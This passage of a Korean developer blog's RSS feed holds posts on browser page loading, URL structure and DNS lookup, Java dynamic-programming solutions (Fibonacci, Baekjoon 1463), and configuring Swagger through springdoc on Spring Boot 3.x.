<li>주소창에 입력된 주소를 해석하고 (URL 분석) DNS(Domain Name System) 서버에게 주소에 해당하는 주소를 IP주소로 변환해 달라는 요청을 보낸다. DNS 서버는 이 요청에 대해 해당 도메인 이름의 IP 주소를 찾아서 웹 브라우저에게 반환해준다.</li>
</ul>
</li>
<li><p>서버 연결 및 데이터 전송</p>
<ul>
<li>웹 브라우저가 위의 과정으로 알아낸 IP주소에 있는 서버와 연결을 맺은 후, 웹 브라우저는 HTTP(HyperText Transfer Protocol) 요청을 이용하여 서버로부터 웹 페이지에 필요한 데이터를 요청한다. 서버는 이 요청에 HTML, CSS, JavaScript 등의 데이터를 반환해 준다.</li>
</ul>
</li>
<li><p>웹 페이지 렌더링</p>
<ul>
<li>웹 브라우저는 서버로부터 받은 데이터를 이용하여 웹 페이지를 렌더링한다. 이 과정에서 HTML, CSS, JavaScript 등의 웹 기술을 해석하고, 사용자에게 보여줄 웹 페이지를 구성한다. 웹 페이지가 완성되면, 사용자가 해당 웹 페이지와 상호작용할 수 있게 된다.</li>
</ul>
</li>
</ol>
<h2 id="url">URL</h2>
<hr>
<p>URL 은 Uniform Resource Locator의 약자로, 웹에 있는 리소스의 위치를 표현하는 문자열이다. 브라우저로 특정 웹 리소스에 접근할 때 URL을 이용해 서버에게 요청한다. </p>
<p>URL의 구성은 Scheme, Authority(Userinfo, Host, Port), Path, Query, Fragment 등으로 구성된다.</p>
<table>
<thead>
<tr>
<th align="center">구성</th>
<th align="center">역할</th>
</tr>
</thead>
<tbody><tr>
<td align="center">Scheme</td>
<td align="center">웹 서버와 어떤 프로토콜로 통신할지 나타낸다.</td>
</tr>
<tr>
<td align="center">Host Name</td>
<td align="center">Authority의 일부로, 자원이 위치한 서버의 도메인 이름 또는 IP 주소를 나타낸다.</td>
</tr>
<tr>
<td align="center">Port Number</td>
<td align="center">Authority의 일부로, 자원에 접근할 때 사요하는 포트 번호를 나타낸다.</td>
</tr>
<tr>
<td align="center">Path</td>
<td align="center">접근할 웹 서버의 리소스 경로로 &#39;/&#39;로 구분된다.</td>
</tr>
<tr>
<td align="center">Query String</td>
<td align="center">웹 서버에 전달하는 파라미터이며, 자원에 대한 추가적인 정보를 제공하는 문자열이다.</td>
</tr>
<tr>
<td align="center">Fragment</td>
<td align="center">메인 리소스에 존재하는 서브 리소스를 접근할 때 이를 식별하기 위한 정보를 담고 있다.</td>
</tr>
</tbody></table>
<h2 id="domain-name">Domain Name</h2>
<hr>
<p>웹 브라우저가 접속할 웹 서버의 주소를 Domain Name이라하고, URL 구성 요소 중 Host가 된다. 이용자는 복잡한 IP Address의 형태가 아닌 도메인의 특성을 담은 주소를 입력하여 IP대신 사용한다. </p>
<p>Domain Name을 입력하면, 브라우저는 Domain Name Server(DNS)에 전달하여 DNS가 찾은 IP Address를 사용한다. </p>
<p>Linux에서 Domain Name에 대한 정보를 <strong>nslookup</strong> 명령어를 사용해 확인할 수 있다. </p>
<pre><code>$ nslooup example.com
Server: 8.8.8.8
Address: 8.8.8.8#53

Non--authoritative answer:
Name: example.com
Address: 93.184.216.34</code></pre><h4 id="레퍼런스">레퍼런스</h4>
<p><a href="https://learn.dreamhack.io/171!%5B%5D(https://velog.velcdn.com/images/layl__a/post/740181ba-4977-4e80-b17e-8a3e5a5ea612/image.png)">https://learn.dreamhack.io/171![](https://velog.velcdn.com/images/layl__a/post/740181ba-4977-4e80-b17e-8a3e5a5ea612/image.png)</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[알고리즘] 동적 계획법]]></title>
            <link>https://velog.io/@layl__a/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EB%8F%99%EC%A0%81-%EA%B3%84%ED%9A%8D%EB%B2%95</link>
            <guid>https://velog.io/@layl__a/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EB%8F%99%EC%A0%81-%EA%B3%84%ED%9A%8D%EB%B2%95</guid>
            <pubDate>Tue, 14 Mar 2023 05:24:09 GMT</pubDate>
            <description><![CDATA[<h2 id="동적-계획법이란❓">동적 계획법이란❓</h2>
<ul>
<li><p>복잡한 문제를 여러 개의 간단한 문제로 분리하여 문제의 답을 구하는 방법</p>
<h3 id="원리와-구현-방식">원리와 구현 방식</h3>
<blockquote>
<h4 id="1-동적-계획법으로-풀-수-있는지-확인하기">1. 동적 계획법으로 풀 수 있는지 확인하기</h4>
<p>큰 문제를 작은 문제로 나눌 수 있어야 한다. 
작은 문제들이 반복해서 사용되고 결과값은 항상 같아야 한다.</p>
</blockquote>
<h4 id="2-점화식-세우기">2. 점화식 세우기</h4>
<blockquote>
<p>논리적으로 전체 문제를 나누고, 전체 문제와 부분 문제 간의 인과 관계를 파악해야 한다. </p>
</blockquote>
<h4 id="3-메모이제이션-원리-이해하기">3. 메모이제이션 원리 이해하기</h4>
<p>모든 작은 문제들은 한 번만 계산해 DP 테이블에 저장해서 추후 문제를 풀 때 재사용한다. 
톱-다운 방식과 바텀-업 방식으로 구현할 수 있다.</p>
</li>
</ul>
<h4 id="📝-문제-예시">📝 문제 예시</h4>
<p>  <strong>피보나치 수열 공식</strong> 
  D[N] = D[N-1]+D[N-2] // N번째 수열 = N - 1번째 수열 + N - 2번째 수열</p>
<p>  <img src="https://velog.velcdn.com/images/layl__a/post/67d76f5e-dc12-423f-8b33-6bd1f4d95a41/image.png" alt=""></p>
<h3 id="dp-구현-방식1---톱-다운-방식-이해하기">DP 구현 방식1 - 톱-다운 방식 이해하기</h3>
<ul>
<li><p>말 그대로 위에서부터 문제를 파악해 내려오는 방식으로, 재귀 함수 형태로 구현</p>
<pre><code class="language-java">public class P2747_TopDown{
static int[] D;
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
D = new int[n+1];
for (int i =0; i&lt;=n; i++) {
  D[i] = -1;
}
D[0] = 0;
D[1] = 1;
fibo(n);
System.out.println(D[n]);
}
&gt;
statin int fibo(int n) {
if (D[n] != -1)
  return D[n];
return D[n] = fibo(n-2) + fibo(n-1);
}
}



</code></pre>
</li>
</ul>
<h3 id="dp-구현-방식2---바텀-업-구현-방식-이해하기">DP 구현 방식2 - 바텀-업 구현 방식 이해하기</h3>
<ul>
<li>가장 작은 부분문제부터 문제를 해결 후 큰 문제를 푸는 방식이고 주로 반복문 형태이다.</li>
</ul>
<pre><code class="language-java">public class P2747_TopDown{
   static int[] D;
   public static void main(String[] args) {
    Scanner sc = new Scanner(System.in);
    int n = sc.nextInt();
    D = new int[n+1];
    for (int i =0; i&lt;=n; i++) {
      D[i] = -1;
    }
    D[0] = 0;
    D[1] = 1;
    for (int i =2; i&lt;=n; i++) {
     D[i] = D[i-1] + D[i-2];
    }
    System.out.println(D[n]);
   }
 }</code></pre>
<h3 id="문제-예시-2---정수를-1로-만들기-백준-온라인-저지-1463번">문제 예시 2 - 정수를 1로 만들기 (백준 온라인 저지 1463번)</h3>
<h3 id="📝-문제-설명">📝 문제 설명</h3>
<p>  정수 X에 사용할 수 있는 연산은 다음 3가지다.</p>
<ol>
<li><p>X가 3으로 나누어떨어지면 3으로 나눈다.</p>
</li>
<li><p>X가 2로 나누어떨어지면 2로 나눈다.</p>
</li>
<li><p>1을 뺀다.</p>
<p>정수 N이 주어졌을 때 위와 같은 연산 3개를 적절히 사용해 1을 만들려고 한다. 연산을 사용하는 횟수의 최솟값을 출력하시오.</p>
<h3 id="🖊️-입력">🖊️ 입력</h3>
<p>1번째 줄에 1보다 크거나 같고, 106보다 작거나 같은 정수 N이 주어진다.</p>
<h3 id="출력">출력</h3>
<p>1번째 출에 연산을 하는 횟수의 최솟값을 출력한다.</p>
<table>
<thead>
<tr>
<th>입력</th>
<th>출력</th>
</tr>
</thead>
<tbody><tr>
<td>10</td>
<td>3</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
</tr>
</tbody></table>
<h3 id="문제-풀이">문제 풀이</h3>
<h4 id="점화식-구하기">점화식 구하기</h4>
<blockquote>
<p>   D[i] = D[i-1] +1 // 1을 빼는 연산이 가능할 때
if( i% 2 == 0) D[i] = min(D[i], D[i/2] +1) // 2로 나누는 연산이 가능할 때
if ( i% 3 ==0) D[i] = min(D[i], D[i/3] +1) //3으로 나누는 연산이 가능할 때</p>
</blockquote>
</li>
</ol>
<pre><code class="language-java">public class P1463_1로만들기 {
 static int N;
 static int D[];
 public static void main(String[] args) throws Exception {
  Scanner sc = new Scanner(System.in);
  N= sc.nextInt();
  D = new int[N+1];
  D[1] = 0;
  for (int i =2; i &lt;=N; i++) {
   D[i] = D[i-1] +1;
   if( i% 2 == 0) D[i] = min(D[i], D[i/2] +1);
   if ( i% 3 ==0) D[i] = min(D[i], D[i/3] +1);
  }
  System.out.println(D[N]);
 }
}</code></pre>
<h3 id="참고">참고</h3>
<ul>
<li>알고리즘 코딩테스트 (자바편) - 김종관</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Spring Boot 3.x 버전 이후에서 Swagger 사용하는 ]]></title>
            <link>https://velog.io/@layl__a/Spring-Boot-3.x-%EB%B2%84%EC%A0%84-%EC%9D%B4%ED%9B%84%EC%97%90%EC%84%9C-Swagger-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94</link>
            <guid>https://velog.io/@layl__a/Spring-Boot-3.x-%EB%B2%84%EC%A0%84-%EC%9D%B4%ED%9B%84%EC%97%90%EC%84%9C-Swagger-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94</guid>
            <pubDate>Tue, 07 Mar 2023 09:07:08 GMT</pubDate>
            <description><![CDATA[<h2 id="spring-boot-버전-및-테스트-환경">Spring Boot 버전 및 테스트 환경</h2>
<p><img src="https://velog.velcdn.com/images/layl__a/post/920e80c3-49ec-47c2-bf8e-eccfbf6c4e7f/image.png" alt=""></p>
<h3 id="맨-처음-시도">맨 처음 시도</h3>
<blockquote>
</blockquote>
<p>implementation &#39;io.springfox:springfox-boot-starter:3.0.0&#39;</p>
<ul>
<li>Swagger 3.0.0 에서 부터 2.0과 달라진 점이 많았었는데, springfox-boot-starter:3.0.0 을 사용해도 된다는 점이 그 중 하나다.</li>
</ul>
<blockquote>
</blockquote>
<p>dependencies {
    implementation &#39;io.springfox:springfox-boot-starter:3.0.0&#39;
}</p>
<ul>
<li>또한 2.x 버전에서는 localhost:8080/swagger-ui.html로 접속해야했지만 3.x 버전부터는** localhost:8080/swagger-ui/index.html** 로 접속해야 정상적으로 페이지가 나온다.</li>
</ul>
<h3 id="--하지만-spring-boot-3x-버전에서는-실패">-&gt; 하지만 Spring boot 3.x 버전에서는 실패</h3>
<ul>
<li>SwaggerConfig도 작성해보았지만 똑같이 Whitelabel Error가 뜬다.</li>
</ul>
<h2 id="springdoc-openapi-starter-webmvc-ui-사용">springdoc-openapi-starter-webmvc-ui 사용</h2>
<h3 id="spring-boot-3x-부터는--springfox대신-springdoc를-사용해야한다">Spring boot 3.x 부터는  Springfox대신 Springdoc를 사용해야한다.</h3>
<p>공식문서: <a href="https://springdoc.org">https://springdoc.org</a></p>
<blockquote>
</blockquote>
<p>dependencies {
    implementation &#39;org.springdoc:springdoc-openapi-starter-webmvc-ui:2.0.2&#39;<br>}</p>
<ul>
<li>Springdoc은 따로 SwaggerConfig를 넣지 않아도 된다.</li>
</ul>
<h3 id="localhost8080swagger-uiindexhtml-접속-성공">localhost:8080/swagger-ui/index.html 접속 성공</h3>
<p>공식 문서: <a href="https://springdoc.org/v2/">https://springdoc.org/v2/</a></p>
]]></description>
        </item>
    </channel>
</rss>